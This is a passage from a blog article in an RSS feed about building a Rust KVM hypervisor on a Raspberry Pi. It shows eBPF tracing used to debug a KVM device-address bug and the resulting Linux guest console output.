&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This really looked like a userspace address while I was supplying a raw address.&lt;br&gt;
To find out what was at that address I modified the last line of the BPF program&lt;br&gt;
above:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;        if (bpf_probe_read_user(&amp;amp;value, sizeof(value), (void *)attr.addr) != 0)
                return -1;

        bpf_printk(&quot;\nset_attr: attr=%s addr=0x%llx, *addr=0x%llx\n&quot;, attr.attr == KVM_VGIC_V2_ADDR_TYPE_DIST ? &quot;DIST&quot; : &quot;CPU&quot;, attr.addr, value);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this I got what I didn't really expect:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;           &amp;lt;...&amp;gt;-147143  [000] d..31 954397.183145: bpf_trace_printk: 
set_attr: attr=CPU addr=0x7fdc806ca0, *addr=0x8010000

           &amp;lt;...&amp;gt;-147143  [000] d..31 954397.183177: bpf_trace_printk: 
set_attr: attr=DIST addr=0x7fdc806ca0, *addr=0x8000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the &lt;code&gt;addr&lt;/code&gt; field is actually a pointer to the address, and not the address&lt;br&gt;
itself. Note that &lt;code&gt;0x8010000&lt;/code&gt; and &lt;code&gt;0x8000000&lt;/code&gt; are the guest physical&lt;br&gt;
addresses of the GIC CPU interface and distributor taken from the virt machine's&lt;br&gt;
device tree:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;pi@raspberrypi:~/dtb $ grep -i intc virt.dts -A3
        intc@8000000 {
                phandle = &amp;lt;0x8001&amp;gt;;
                reg = &amp;lt;0x00 0x8000000 0x00 0x10000 0x00 0x8010000 0x00 0x10000&amp;gt;;
                compatible = &quot;arm,cortex-a15-gic&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This also explained the &lt;code&gt;EFAULT&lt;/code&gt;: KVM was trying to dereference&lt;br&gt;
&lt;code&gt;attr.addr&lt;/code&gt; as a userspace pointer. With this small fix, I got a fully working&lt;br&gt;
Linux console:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rs&quot;&gt;dev_attr.addr = &amp;amp;dist_addr as *const u64 as u64;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following snippet shows that my &lt;code&gt;init&lt;/code&gt; process (as part of&lt;br&gt;
&lt;code&gt;initramfs&lt;/code&gt;) was run and it echoed back my input in capital letters:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;[    0.832623] clk: Disabling unused clocks
[    0.834046] PM: genpd: Disabling unused power domains
[    0.845565] Freeing unused kernel memory: 12672K
[    0.847475] Run /init as init process
           CPU0       
 11:        199 GIC-0  27 Level     arch_timer
 13:          0 GIC-0  33 Level     uart-pl011
IPI0:         0       Rescheduling interrupts
IPI1:         0       Function call interrupts
IPI2:         0       CPU stop interrupts
IPI3:         0       CPU stop NMIs
IPI4:         0       Timer broadcast interrupts
IPI5:       168       IRQ work interrupts
IPI6:         0       CPU backtrace interrupts
IPI7:         0       KGDB roundup interrupts
Err:          0

type a string: hello
allcaps: HELLO

[    2.224776] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000000
[    2.227382] CPU: 0 UID: 0 PID: 1 Comm: init Not tainted 7.1.3 #1 PREEMPT 
[    2.229749] Hardware name: linux,dummy-virt (DT)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interrupt statistics are also printed from my &lt;code&gt;init&lt;/code&gt;. Also, when &lt;code&gt;init&lt;/code&gt;&lt;br&gt;
exits, we get the (correct) Kernel panic that init process was terminated.&lt;/p&gt;
&lt;h3 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h3&gt;
&lt;p&gt;At this point I finally had what I was looking for: a real Linux userspace&lt;br&gt;
running inside my own KVM-based hypervisor, with a working UART, interrupt&lt;br&gt;
delivery and a minimal &lt;code&gt;initramfs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;More importantly, I now had a way to interact with the guest and inspect what&lt;br&gt;
was happening inside KVM. That gives me a much better foundation for the next&lt;br&gt;
step: implementing more of the virtual hardware needed to turn this into a&lt;br&gt;
useful ARM64 virtual machine.&lt;/p&gt;
&lt;p&gt;You can also check out the repository on my GitHub page and, if you have a&lt;br&gt;
Raspberry Pi 4B, try the VMM yourself:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/StjepanPoljak/kvm-rust&quot;&gt;https://github.com/StjepanPoljak/kvm-rust&lt;/a&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28617/booting-arm64-linux-in-my-rust-kvm-hypervisor-getting-to-the-console-with-help-of-ebpf</guid>
<pubDate>Fri, 25 Sep 2026 14:40:06 +0000</pubDate>
</item>
</channel>
</rss>